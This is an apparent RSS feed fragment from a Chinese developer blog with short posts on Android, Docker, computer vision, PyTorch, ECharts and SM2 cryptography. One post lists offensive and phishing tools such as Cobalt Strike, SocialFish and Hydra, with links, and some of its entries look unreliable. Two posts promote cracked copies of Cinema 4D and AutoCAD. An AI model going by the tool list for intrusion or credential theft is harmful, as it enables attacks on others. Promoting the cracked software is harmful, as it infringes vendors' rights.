      <pubDate>Sun, 31 Dec 2023 10:51:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fab3c520ad6066284f3bae737175d2c/</guid>
      <description>1. Android14新特性 1.1. 场景 在Android14（targetSDK=34）系统手机开启前台service服务崩溃&#xA;ATAL EXCEPTION: main Process: com.inspur.lbrd, PID: 15634 java.lang.RuntimeException: Unable to create service com.inspur.lbrd.service.KeepAliveService: android.app.MissingForegroundServiceTypeException: Starting FGS without a type callerApp=ProcessRecord{957facf 15634:com.inspur.lbrd/u0a352} targetSDK=34 at android.app.ActivityThread.handleCreateService(ActivityThread.java:5182) at android.app.ActivityThread.-$$Nest$mhandleCreateService(Unknown Source:0) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2638) at android.os.Handler.dispatchMessage(Handler.java:108) at android.os.Looper.loopOnce(Looper.java:226) at android.os.Looper.loop(Looper.java:328) at android.app.ActivityThread.main(ActivityThread.java:9128) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:586) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1099) Caused by: android.app.MissingForegroundServiceTypeException: Starting FGS without a type callerApp=ProcessRecord{957facf 15634:com.inspur.lbrd/u0a352} targetSDK=34 at android.app.MissingForegroundServiceTypeException$1.createFromParcel(MissingForegroundServiceTypeException.java:53) at android.app.MissingForegroundServiceTypeException$1.createFromParcel(MissingForegroundServiceTypeException.java:49) at android.os.Parcel.readParcelableInternal(Parcel.java:4884) at android.os.Parcel.readParcelable(Parcel.java:4866) at android.</description>
    </item>
    <item>
      <title>CentOS7下使用Docker安装Nacos</title>
      <link>https://bchobby.github.io/posts/e65322b3a5a34b2e3122a7e2a0bd5481/</link>
      <pubDate>Sun, 31 Dec 2023 10:48:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e65322b3a5a34b2e3122a7e2a0bd5481/</guid>
      <description>CentOS7下使用Docker安装Nacos 一、查看和nacos相关的镜像二、拉去镜像三、创建容器四、查看日志 一、查看和nacos相关的镜像 docker search nacos 二、拉去镜像 拉取 nacos/nacos-server:1.2.0 镜像&#xA;docker pull nacos/nacos-server:1.2.0 三、创建容器 docker run --env MODE=standalone --name nacos --restart=always -d -p 8848:8848 nacos/nacos-server:1.2.0 这是一个Docker命令，用于运行一个名为&#34;nacos&#34;的Nacos容器。具体参数解释如下：&#xA;--env MODE=standalone：设置环境变量MODE为standalone，表示以单机模式运行Nacos。--name nacos：为容器指定名称为&#34;nacos&#34;。--restart=always：设置容器在退出时自动重启。-d：以后台模式运行容器。-p 8848:8848：将容器的8848端口映射到宿主机的8848端口。nacos/nacos-server:1.2.0：指定要运行的Nacos镜像版本为1.2.0。 我在虚拟机上开放端口，在主机上用局域网访问http://192.168.223.10:8848/nacos/可以进入nacos主页后就是成功了&#xA;四、查看日志 docker logs -f 2cf20922a117 docker logs -f 2cf20922a117 这个命令用于实时查看名为 “2cf20922a117” 的 Docker 容器的日志。其中，-f 参数表示实时输出日志。</description>
    </item>
    <item>
      <title>Cinema 4D 2024 for Mac/win 3D建模和渲染软件 c4d 2024</title>
      <link>https://bchobby.github.io/posts/5fc90f402f759645dc01c582a8e4d027/</link>
      <pubDate>Sun, 31 Dec 2023 10:24:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fc90f402f759645dc01c582a8e4d027/</guid>
      <description>Cinema 4D 2024 for Mac是一款由德国Maxon Computer开发的专业三维建模、动画和渲染软件，广泛应用于电影、电视、广告、游戏、工业设计等多媒体制作领域。 它是一款功能强大的三维设计软件，提供丰富的建模、渲染、动画和特效工具，能够帮助设计师快速高效地创建复杂的模型、场景、动画和视觉效果。&#xA;Cinema 4D 2024 for Mac的建模工具包括强大的布尔运算、曲线和曲面建模、NURBS、多边形和子细分曲面等，可以帮助设计师创建各种形状和风格的模型。&#xA;它的渲染工具支持多种材质和纹理、多种渲染效果和模拟，包括全局光照、阴影、反射、折射、物理模拟等，可以帮助设计师创建逼真的渲染效果。&#xA;Cinema 4D 2024 for Mac还支持动态模拟和粒子效果，可以帮助设计师创建各种动画和特效。它还支持数字雕刻和细节处理工具，可以帮助设计师对模型进行细节处理。&#xA;Mac安装：Cinema 4D 2024 for mac(c4d 2024)v2024.1.0中文版&#xA;Win安装：Maxon Cinema 4D 2024(C4D 2024)v2024.1.0 (x64)特别版</description>
    </item>
    <item>
      <title>探索全新的设计境界——Autodesk AutoCAD 2020 for Mac/win中文版</title>
      <link>https://bchobby.github.io/posts/bbf6a7a52ca165a0ef5774ef7bec5784/</link>
      <pubDate>Sun, 31 Dec 2023 10:05:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbf6a7a52ca165a0ef5774ef7bec5784/</guid>
      <description>在当今数字化时代，设计师们需要一个强大而灵活的工具来实现他们的创意。作为全球领先的设计软件提供商，Autodesk推出了全新的AutoCAD 2020，为设计师们打开了探索全新设计境界的大门。&#xA;AutoCAD 2020以其卓越的功能和直观的界面而闻名，为设计师们提供了丰富的工具和技术，帮助他们创造出精确、高效的设计作品。无论是建筑师、工程师还是室内设计师，AutoCAD 2020都能满足他们的需求。&#xA;首先，AutoCAD 2020引入了全新的DWG Compare功能，使设计师们能够快速比较不同版本的设计文件并查找差异。这将大大提高团队之间的协作效率，减少错误和重复工作。&#xA;其次，AutoCAD 2020还引入了全新的Purge功能，使设计师能够轻松清除不需要的图层、样式和块等元素，从而提高文件的整洁度和性能。&#xA;此外，AutoCAD 2020还增强了3D设计的功能，包括新的插入命令和实时修剪命令，使设计师能够更加方便地创建和编辑立体设计。&#xA;除了这些功能之外，AutoCAD 2020还提供了更快的性能和更强大的图形处理能力，使设计师能够更流畅地进行设计工作。&#xA;总之，Autodesk AutoCAD 2020是一个强大而全面的设计软件，无论是从功能还是性能方面，都能满足设计师们的需求。探索全新的设计境界，从现在开始使用AutoCAD 2020吧！&#xA;Mac安装：AutoCAD 2020 for Mac(cad设计绘图软件) 2020.3激活版&#xA;Win安装：Autodesk AutoCAD2020(附安装教程图解)激活特别版</description>
    </item>
    <item>
      <title>[C#]OpenCvSharp实现Yolov8 Face Landmarks 人脸关键点检测</title>
      <link>https://bchobby.github.io/posts/0c45972bff0ceb7bcfe9c5e1655c40c2/</link>
      <pubDate>Sun, 31 Dec 2023 10:02:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c45972bff0ceb7bcfe9c5e1655c40c2/</guid>
      <description>介绍：&#xA;github地址：https://github.com/derronqi/yolov8-face&#xA;效果：&#xA;项目：&#xA;代码：&#xA;using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using OpenCvSharp; namespace FIRC { public partial class Form1 : Form { Mat src = new Mat(); FaceDetector fd = new FaceDetector(); public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { OpenFileDialog openFileDialog = new OpenFileDialog(); openFileDialog.Filter = &#34;图文件(*.*)|*.jpg;*.png;*.jpeg;*.bmp&#34;; openFileDialog.RestoreDirectory = true; openFileDialog.</description>
    </item>
    <item>
      <title>NCNN环境部署及yolov5pt转ncnn模型转换推理</title>
      <link>https://bchobby.github.io/posts/cbbe281c13b8a937c16420795bd417a6/</link>
      <pubDate>Sun, 31 Dec 2023 10:01:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbbe281c13b8a937c16420795bd417a6/</guid>
      <description>该内容还未完整，笔记内容，持续补充。&#xA;〇开发环境版本 vs2022&#xA;cmake3.21.1&#xA;ncnn20231027发行版&#xA;yolov5s v6.2（注意：这个版本是我目前模型转换通过的，其他版本自行测试）&#xA;vunlkan1.2.198.1&#xA;Protobuf3.20.0&#xA;Opencv3.4.1&#xA;一、模型转换 yolov5s v6.2训练的pt模型，直接导出tourchscript，然后使用ncnn里面的pnnx工具直接转换为ncnn。&#xA;这个地方别去pt转onnx转ncnn的了，踩了多少坑才出来的，有能力的可以去踩。&#xA;官方文档：&#xA;https://github.com/pnnx/pnnxhttps://github.com/pnnx/pnnx&#xA;导出tourchscript使用yolov5里面export.py&#xA;tourchscript转pnnx命令（pnnx可以自己编译也可以直接下载ncnn-windows里面有编译好的）：&#xA;pnnx.exe best.torchscript inputshape=[1,3,640,640] 二、部署环境（该部分内容待修改，最新版本ncnn无需vunlkan可直接编译；） 注意：cmake编译需要使用x64 Native Tools Command Prompt for VS 2022工具里面，cmd是没效果的。&#xA;直接拉取GitHub源码，然后更新完整代码。&#xA;git clone https://github.com/Tencent/ncnn.git cd ncnn git submodule update --init 1.安装vunlkan 1.2.198.1版本，记得配置环境变量&#xA;官网下载（只有最新版，而且特别慢）：&#xA;https://vulkan-tutorial.com/https://vulkan-tutorial.com/&#xA;GitHub下载：&#xA;https://github.com/KhronosGroup/Vulkan-Loaderhttps://github.com/KhronosGroup/Vulkan-Loader&#xA;2.安装Protobuf3.20.0版本&#xA;源码下载地址：&#xA;https://github.com/protocolbuffers/protobuf/releases/download/v3.20.0/protobuf-cpp-3.20.0.tar.gzhttps://github.com/protocolbuffers/protobuf/releases/download/v3.20.0/protobuf-cpp-3.20.0.tar.gz&#xA;官方文档：&#xA;https://github.com/Tencent/ncnn/wiki/FAQ-ncnn-protobuf-problem.zhhttps://github.com/Tencent/ncnn/wiki/FAQ-ncnn-protobuf-problem.zh&#xA;编译Protobuf命令 ：&#xA;mkdir build_vs cmake -G&#34;NMake Makefiles&#34; -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=%cd%/install -Dprotobuf_BUILD_TESTS=OFF -Dprotobuf_MSVC_STATIC_RUNTIME=OFF ../cmake nmake nmake install 3.编译ncnn&#xA;下载ncnn完整源码：&#xA;https://github.com/Tencent/ncnn/releaseshttps://github.com/Tencent/ncnn/releases</description>
    </item>
    <item>
      <title>神经网络中的分位数回归和分位数损失</title>
      <link>https://bchobby.github.io/posts/fe413f5622e8b3aae0a6253dfff161e3/</link>
      <pubDate>Sun, 31 Dec 2023 09:54:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe413f5622e8b3aae0a6253dfff161e3/</guid>
      <description>在使用机器学习构建预测模型时，我们不只是想知道“预测值(点预测)”，而是想知道“预测值落在某个范围内的可能性有多大(区间预测)”。例如当需要进行需求预测时，如果只储备最可能的需求预测量，那么缺货的概率非常的大。但是如果库存处于预测的第95个百分位数(需求有95%的可能性小于或等于该值)，那么缺货数量会减少到大约20分之1。&#xA;获得这些百分位数值的机器学习方法有：&#xA;scikit-learn:GradientBoostingRegressor(loss=&#39;quantile, alpha=alpha)LightGBM: LGBMRegressor(objective=&#39;quantile&#39;, alpha=alpha)XGBoost: XGBoostRegressor(objective=&#39;reg:quantileerror&#39;, quantile_alpha=alpha) (version 2.0~) 这种”预测值落在某个范围内的可能性有多大(区间预测)”的方法都被称作分位数回归，上面的这些机器学习的方法是用了一种叫做Quantile Loss的损失。&#xA;Quantile loss是用于评估分位数回归模型性能的一种损失函数。在分位数回归中，我们不仅关注预测的中心趋势（如均值），还关注在分布的不同分位数处的预测准确性。Quantile loss允许我们根据所关注的分位数来量化预测的不确定性。&#xA;假设我们有一个预测问题，其中我们要预测一个连续型变量的分布，并且我们关注不同的分位数，例如中位数、0.25分位数、0.75分位数等。对于第q分位数，Quantile Loss定义为：&#xA;这里：&#xA;yy 是真实值。yy 是模型的预测值。qq 是目标分位数，取值范围为0,10,1。 这个损失函数的核心思想是，当模型的预测值超过真实值时，损失是预测值与真实值的差值乘以q。当预测值低于真实值时，损失是预测值与真实值的差值乘以1−q。这确保了对于不同的分位数，我们有不同的惩罚。如果我们更关心较小分位数（例如，中位数），我们会设定较小的q，反之亦然。&#xA;用Pytorch实现分位数损失 下面是一个使用Pytorch将分位数损失定义为自定义损失函数的示例。&#xA;importtorch defquantile_loss(y_true, y_pred, quantile): errors=y_true-y_pred loss=torch.mean(torch.max((quantile-1) *errors, quantile*errors)) returnloss 对于训练来说，跟正常的训练方法一样：&#xA;for epoch in range(num_epochs): for batch_x, batch_y in dataloader: optimizer.zero_grad() outputs = model(batch_x) loss = quantile_loss(outputs, batch_y, quantile) loss.backward() optimizer.step() 让我们看看这个自定义的损失函数是否如预期的那样工作。&#xA;Pytorch分位数损失测试 首先，我们尝试为x生成均匀随机分布(-5~5)，为y生成与x指数成比例的正态随机分布，看看是否可以从x预测y的分位数点。&#xA;# Generate dummy data num_samples = 10000 shape = (num_samples, 1) torch.</description>
    </item>
    <item>
      <title>ECharts与Excel的火花</title>
      <link>https://bchobby.github.io/posts/73fbe684877fa2fdd707fa296d81fb1b/</link>
      <pubDate>Sun, 31 Dec 2023 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73fbe684877fa2fdd707fa296d81fb1b/</guid>
      <description>其他系列文章导航 Java基础合集&#xA;数据结构与算法合集&#xA;设计模式合集&#xA;多线程合集&#xA;分布式合集&#xA;ES合集&#xA;文章目录 其他系列文章导航&#xA;文章目录&#xA;前言&#xA;一、ECharts：现代数据可视化的利器&#xA;二、Excel：经典的数据处理与分析工具&#xA;三、ECharts与Excel的结合：火花碰撞&#xA;3.1 柱状图前端代码&#xA;3.2 饼图前端代码&#xA;3.3 后端通用代码&#xA;3.3.1 生成Excel表格&#xA;3.3.2 Excel表格数据导入ECharts&#xA;四、总结&#xA;前言 在数据爆炸的时代，如何有效地呈现和解析数据变得至关重要。&#xA;ECharts和Excel作为两种广泛使用的数据处理和可视化工具，各自拥有其独特的魅力和功能。&#xA;本文将深入探讨这两者之间的火花碰撞，以及如何结合它们以实现更强大的数据可视化效果。&#xA;一、ECharts：现代数据可视化的利器 ECharts是一款开源的数据可视化库，提供丰富的图表类型和高度定制化的选项。&#xA;ECharts支持折线图、柱状图、散点图、饼图等多种图表类型，并且可以根据需要轻松定制颜色、标签、提示框等视觉元素。&#xA;此外，ECharts还支持动态数据更新和高性能渲染，使其成为现代数据可视化的理想选择。&#xA;二、Excel：经典的数据处理与分析工具 Excel作为微软办公套件的核心组件，已经成为全球范围内广泛使用的数据处理和分析工具。&#xA;通过Excel，用户可以进行数据的排序、筛选、函数计算和可视化等多种操作。&#xA;Excel提供了丰富的图表类型和数据分析工具，使得用户能够轻松地进行数据处理和可视化工作。&#xA;三、ECharts与Excel的结合：火花碰撞 尽管ECharts和Excel都是强大的数据处理和可视化工具，但它们各有优缺点。将两者结合起来，可以取长补短，实现更强大的数据可视化效果。以下是一些结合ECharts和Excel的方法：&#xA;数据导入与处理：使用Excel进行数据清洗和处理，然后将处理后的数据导入ECharts进行可视化。这样可以充分发挥Excel在数据处理方面的优势，同时利用ECharts丰富的图表类型进行可视化。动态数据更新：在Excel中创建图表后，可以利用ECharts的动态数据更新功能，实时将最新数据传递给图表。这样可以实现数据的动态展示，使得图表更加生动和具有实时性。交互式数据探索：结合ECharts的交互式特性，可以在Excel中实现交互式的数据探索和分析。用户可以通过点击、拖拽等方式在图表上进行操作，获取更多关于数据的洞察。自定义图表类型：ECharts支持高度定制化的图表类型，而Excel也提供了丰富的图表模板。通过结合两者，可以创建出既满足个性化需求又具有专业视觉效果的图表。数据驱动的故事叙述：利用ECharts和Excel的组合，可以创建数据驱动的故事叙述。通过精心设计的图表和数据分析，将数据背后的故事生动地呈现给观众。 接下来通过两个例子给大家演示具体的实现！&#xA;3.1 柱状图前端代码 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;echarts-bar&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;https://cdn.bootcss.com/jquery/3.1.1/jquery.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;js/echarts.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../../plugins/element-ui/index.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- 为ECharts准备一个具备大小（宽高）的Dom --&amp;gt; &amp;lt;div id=&#34;main&#34; style=&#34;width:2000px; height:700px;&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;button onclick=&#34;generateExcel()&#34;&amp;gt;导出Excel文件&amp;lt;/button&amp;gt; &amp;lt;script type=&#34;</description>
    </item>
    <item>
      <title>（附源码）Springboot&#43;电商平台 计算机毕设46269</title>
      <link>https://bchobby.github.io/posts/2344eb384f22164f580fc8c0c42d6447/</link>
      <pubDate>Sun, 31 Dec 2023 08:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2344eb384f22164f580fc8c0c42d6447/</guid>
      <description>基于springboot电商平台 摘 要&#xA;随着科学技术的飞速发展，各行各业都在努力与现代先进技术接轨，通过科技手段提高自身的优势；对于电商平台当然也不能排除在外，随着网络技术的不断成熟，带动了电商平台，它彻底改变了过去传统的管理方式，不仅使服务管理难度变低了，还提升了管理的灵活性。这种个性化的平台特别注重交互协调与管理的相互配合，激发了管理人员的创造性与主动性，对电商平台而言非常有利。&#xA;本论文主要论述了如何使用java语言开发一个springboot电商平台，本系统将严格按照软件开发流程进行各个阶段的工作，采用B/S架构，面向对象编程思想进行项目开发。在引言中，作者将论述电商平台的当前背景以及系统开发的目的，后续章节将严格按照软件开发流程，对系统进行各个阶段分析设计。&#xA;关键字：电商平台 Mysql数据库 springboot框架&#xA;Abstract&#xA;With the rapid development of science and technology, all walks of life are trying to integrate with modern advanced technology and improve their own advantages through scientific and technological means; Of course, e-commerce platforms cannot be excluded. With the continuous maturity of network technology, e-commerce platforms have been driven. It has completely changed the traditional management methods in the past, not only making service management less difficult, but also improving the flexibility of management.</description>
    </item>
    <item>
      <title>（附源码）SSM旅游网站管理系统 毕业设计39235</title>
      <link>https://bchobby.github.io/posts/10de1c18337022306c0e552d52948659/</link>
      <pubDate>Sun, 31 Dec 2023 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10de1c18337022306c0e552d52948659/</guid>
      <description>ssm 旅游网站管理系统&#xA;摘 要&#xA;信息化社会内需要与之针对性的信息获取途径，但是途径的扩展基本上为人们所努力的方向，由于站在的角度存在偏差，人们经常能够获得不同类型信息，这也是技术最为难以攻克的课题。针对旅游网站等问题，对旅游网站进行研究分析，然后开发设计出旅游网站管理系统已解决问题。&#xA;旅游网站管理系统主要功能模块包括首页、网站管理（轮播图、公告信息）人员管理（管理员、系统用户）内容管理（交流论坛、论坛分类、旅游文化、文化分类）模块管理（景点信息、购票信息、旅游路线、酒店信息、类型管理、预订信息、咨询客服），采取面对对象的开发模式进行软件的开发和硬体的架设，能很好的满足实际使用的需求，完善了对应的软体架设以及程序编码的工作，采取Mysql作为后台数据的主要存储单元，采用SSM框架、Java技术、Ajax技术进行业务系统的编码及其开发，实现了本系统的全部功能。本次报告，首先分析了研究的背景、作用、意义，为研究工作的合理性打下了基础。针对旅游网站管理系统的各项需求以及技术问题进行分析，证明了系统的必要性和技术可行性，然后对设计系统需要使用的技术软件以及设计思想做了基本的介绍，最后来实现旅游网站管理系统和部署运行使用它。&#xA;关键词：旅游网站；ssm框架；Mysql数据库&#xA;SSM Tourism Website Management System&#xA;Abstract&#xA;In the information society, there is a need for targeted information acquisition channels, but the expansion of channels is basically the direction of people&#39;s efforts. Due to the deviation in perspective, people often can obtain different types of information, which is also the most difficult topic for technology to overcome. Research and analyze tourism websites and other issues, and then develop and design a tourism website management system to solve the problem.</description>
    </item>
    <item>
      <title>常见的漏洞利用框架整理</title>
      <link>https://bchobby.github.io/posts/1c96d41d8f8e68b4bc892fef4b7300c4/</link>
      <pubDate>Sun, 31 Dec 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c96d41d8f8e68b4bc892fef4b7300c4/</guid>
      <description>一、常见的漏洞利用框架&#xA;Metasploit Framework：一个广泛使用的开源漏洞利用框架，用于测试和评估系统的安全性。&#xA;ExploitDB：一个在线漏洞利用数据库，包含各种漏洞的利用代码。&#xA;Canvas：由Immunity开发的商业漏洞利用框架，提供高级的漏洞利用技术和功能，用于渗透测试和漏洞研究。&#xA;Core Impact：一款商业漏洞利用框架，用于对网络和应用程序进行安全评估和渗透测试。&#xA;Cobalt Strike：一款商业网络攻击模拟工具，具有强大的漏洞利用和社会工程学功能，用于模拟真实的攻击场景。&#xA;BeEF：一个开源的漏洞利用框架，专注于浏览器和Web应用程序的漏洞利用和攻击。&#xA;Social Engineer Toolkit（SET）：一个开源的社会工程学框架，提供了各种用于欺骗和攻击目标的工具和模块。&#xA;PowerSploit：一个适用于Windows系统的开源漏洞利用框架，提供了各种漏洞利用模块和攻击技术。&#xA;RouterSploit：一个专注于路由器漏洞利用的开源框架，用于测试和评估网络设备的安全性。&#xA;SETUID：一个开源的Unix/Linux漏洞利用框架，专注于利用特权升级和系统漏洞。&#xA;Bettercap：一个功能强大的网络攻击和嗅探工具，提供了各种中间人攻击和漏洞利用功能。&#xA;SocialFish：一个开源的社交工程框架，用于进行钓鱼攻击和收集用户凭据。&#xA;Armitage：Metasploit的一个图形化前端工具，用于管理和执行漏洞利用。&#xA;XSStrike：一个开源的自动化Web漏洞扫描器，用于检测和利用跨站脚本漏洞。&#xA;Wireshark：一个流行的网络分析工具，用于捕获和分析网络数据包，帮助发现漏洞和安全问题。&#xA;Nmap：一个强大的端口扫描工具，用于快速检测目标系统的开放端口和服务信息。&#xA;Nikto：一个常用的Web服务器漏洞扫描工具，可以自动化地检测服务器配置错误、已知漏洞和常见的安全问题。&#xA;Nessus：一个广泛使用的漏洞扫描工具，提供了大量的漏洞检测插件和安全配置审计功能。&#xA;OpenVAS：一个开源的漏洞扫描器，提供类似于商业漏洞扫描工具的功能，用于评估系统的安全性并提供修复建议。&#xA;Wfuzz：一个快速的Web应用程序漏洞扫描器，支持多种协议和漏洞类型，并提供了灵活的定制化选项。&#xA;THC Hydra：一个流行的登录破解工具，支持多种协议和服务，例如FTP、SSH、Telnet和SMTP。&#xA;Aircrack-ng：一个著名的WiFi密码破解工具，可以破解WEP和WPA/WPA2加密的无线网络密码。&#xA;BlackWidow：一个功能强大的Web应用程序漏洞扫描器，支持多种漏洞检测和利用模块，并提供了自定义选项。&#xA;Empire：一个开源的后渗透测试框架，提供了一系列强大的漏洞利用、持久化和管理工具，用于控制受攻击系统。&#xA;CrackMapExec：一个开源的网络渗透工具，主要用于利用Windows网络环境中的漏洞，获取系统访问权限。&#xA;Skipfish：一个快速的Web应用程序漏洞扫描器，使用先进的技术和算法来发现隐藏的漏洞。&#xA;Hydra：一个强大的网络登录破解工具，支持多种协议和服务，例如FTP、SSH、Telnet、SMTP等。&#xA;Sqlninja：一个专注于SQL注入漏洞利用的工具，能够绕过认证和审计控制，并提供后门访问功能。&#xA;Volatility：一个开源的内存取证工具，支持多种操作系统和文件格式，并提供了各种内存分析和漏洞利用功能。&#xA;FuzzDB：一个开源的漏洞利用载荷库，包含各种用于模糊测试和漏洞利用的有效载荷和模板。&#xA;Rouge：一个专注于路由器漏洞利用的开源框架，用于进行渗透测试和安全评估。&#xA;AutoSploit：一个开源的自动化漏洞利用工具，根据目标系统和漏洞信息自动选择和执行合适的漏洞利用模块。&#xA;SQLMap：一个开源的自动化SQL注入工具，用于检测和利用Web应用程序中的SQL注入漏洞。&#xA;Router Exploitation Framework（Rouge）：一个专注于路由器漏洞利用的开源框架，用于进行渗透测试和安全评估。&#xA;二、下载或者官方地址&#xA;Metasploit Framework：https://www.metasploit.com/&#xA;ExploitDB：https://www.exploit-db.com/&#xA;Canvas：https://www.immunityinc.com/products/canvas/&#xA;Core Impact：https://www.coresecurity.com/core-impact-pro&#xA;Cobalt Strike：https://www.cobaltstrike.com/&#xA;BeEF：https://beefproject.com/&#xA;Social Engineer Toolkit（SET）：https://github.com/trustedsec/social-engineer-toolkit&#xA;PowerSploit：https://github.com/PowerShellMafia/PowerSploit&#xA;RouterSploit：https://github.com/threat9/routersploit&#xA;SETUID：https://github.com/OlivierLaflamme/Cyberhebdo&#xA;Bettercap：https://www.bettercap.org/&#xA;SocialFish：https://github.com/UndeadSec/SocialFish&#xA;Armitage：https://www.metasploitunleashed.com/armitage/&#xA;XSStrike：https://github.com/s0md3v/XSStrike&#xA;Wireshark：https://www.wireshark.org/&#xA;Nmap：https://nmap.org/&#xA;Nikto：https://cirt.net/Nikto2&#xA;Nessus：https://www.tenable.com/products/nessus&#xA;OpenVAS：http://www.openvas.org/&#xA;Wfuzz：https://github.com/xmendez/wfuzz</description>
    </item>
    <item>
      <title>gmssl国密sm2(生成密钥对-私钥签字-证书验签)</title>
      <link>https://bchobby.github.io/posts/05aa854992f5c9f06aeba2e896a46476/</link>
      <pubDate>Sun, 31 Dec 2023 06:25:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05aa854992f5c9f06aeba2e896a46476/</guid>
      <description>生成密钥对： #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &#34;e_os.h&#34; #include &#34;sm2ToOC.h&#34; #include &#34;string.h&#34; # include &amp;lt;openssl/bn.h&amp;gt; # include &amp;lt;openssl/ec.h&amp;gt; # include &amp;lt;openssl/evp.h&amp;gt; # include &amp;lt;openssl/rand.h&amp;gt; # include &amp;lt;openssl/engine.h&amp;gt; # include &amp;lt;openssl/sm2.h&amp;gt; # include &#34;sm2_lcl.h&#34; # include &#34;pkcs12.h&#34; #include &amp;lt;openssl/pem.h&amp;gt; #include &#34;ec/ec_lcl.h&#34; #include &#34;bn/bn_lcl.h&#34; int genkey() { EC_KEY *keypair = NULL; EC_GROUP *group1 = NULL; keypair = EC_KEY_new(); if(!keypair) { printf(&#34;Failed to Gen Key&#34;); exit(1); } group1 = EC_GROUP_new_by_curve_name(NID_sm2p256v1); if(group1 == NULL){ printf(&#34;</description>
    </item>
    <item>
      <title>基于Spring Boot的汽车评论分类系统</title>
      <link>https://bchobby.github.io/posts/2dc07de9f9bb6cf6ebeba38ca0239770/</link>
      <pubDate>Sun, 31 Dec 2023 03:28:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2dc07de9f9bb6cf6ebeba38ca0239770/</guid>
      <description>目录&#xA;前言&#xA;一、技术栈&#xA;二、系统功能介绍&#xA;前台首页功能模块&#xA;管理员功能模块&#xA;三、核心代码&#xA;1、登录模块&#xA;2、文件上传模块&#xA;3、代码封装&#xA;前言 随着科学技术的飞速发展，社会的方方面面、各行各业都在努力与现代的先进技术接轨，通过科技手段来提高自身的优势，汽车评论分类系统当然也不能排除在外。汽车评论分类系统是以实际运用为开发背景，运用软件工程开发方法，采用SpringBoot技术构建的一个管理系统。整个开发过程首先对软件系统进行需求分析，得出系统的主要功能。接着对系统进行总体设计和详细设计。总体设计主要包括系统总体结构设计、系统数据结构设计、系统功能设计和系统安全设计等；详细设计主要包括模块实现的关键代码，系统数据库访问和主要功能模块的具体实现等。最后对系统进行功能测试，并对测试结果进行分析总结，及时改进系统中存在的不足，为以后的系统维护提供了方便，也为今后开发类似系统提供了借鉴和帮助。&#xA;本汽车评论分类系统采用的数据库是Mysql，使用SPRINGBOOT框架开发。在设计过程中，充分保证了系统代码的良好可读性、实用性、易扩展性、通用性、便于后期维护、操作方便以及页面简洁等特点。&#xA;一、技术栈 末尾获取源码&#xA;SpringBoot+Vue+JS+ jQuery+Ajax...&#xA;二、系统功能介绍 前台首页功能模块 汽车评论分类系统，在汽车评论分类系统可以查看首页、热门分类、新品分类、交流论坛、系统公告、个人中心、后台管理等内容&#xA;登录、用户注册，通过用户注册获取用户名、密码、姓名、性别、手机、邮箱等信息进行注册、登录&#xA;热门分类，在热门分类页面可以填写汽车名称、类型、品牌、发行日期等信息进行提交&#xA;新品分类，在新品分类页面可以填写汽车名称、品牌、点击次数等信息进行提交&#xA;交流论坛，在交流论坛页面可以填写标题、类型等信息进行提交&#xA;管理员功能模块 管理员登录，通过填写用户名、密码、角色等信息，输入完成后选择登录即可进入汽车评论分类系统&#xA;管理员登录进入汽车评论分类系统可以查看首页、个人中心、汽车类型管理、热门分类管理、新品分类管理、用户管理、管理员管理、交流论坛、系统管理等内容&#xA;汽车类型管理，在汽车类型管理页面可以查看类型等信息，并可根据需要对汽车类型管理进行详情，修改，删除或查看详细内容等操作&#xA;管理员在热门分类管理页面可以查看汽车名称、类型、图片、品牌、发行日期、视频介绍等信息，并可根据需要对热门分类管理进行详情，删除或查看详细内容等操作&#xA;新品分类管理，在新品分类管理页面可以查看汽车名称、类型、图片、品牌、视频介绍等信息，并可根据需要对新品分类管理进行详情，删除或查看详细内容操作&#xA;用户管理，在用户管理页面可以查看用户名、密码、姓名、性别、头像、手机、邮箱等内容，并可根据需要对用户管理进行详情、修改、删除操作&#xA;管理员管理，在管理员管理页面可以查看用户名、密码、角色等信息，并可根据需要对管理员管理进行详情，修改，删除操作&#xA;交流论坛，在交流论坛页面可以查看帖子标题、用户名、状态等内容，并可根据需要对交流论坛进行详情，修改，删除操作&#xA;轮播图；该页面为轮播图管理界面。管理员可以在此页面进行首页轮播图的管理，通过新建操作可在轮播图中加入新的图片，还可以对以上传的图片进行修改操作，以及图片的删除操作&#xA;三、核心代码 1、登录模块 package com.controller; import java.util.Arrays; import java.util.Calendar; import java.util.Date; import java.util.Map; import javax.servlet.http.HttpServletRequest; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import 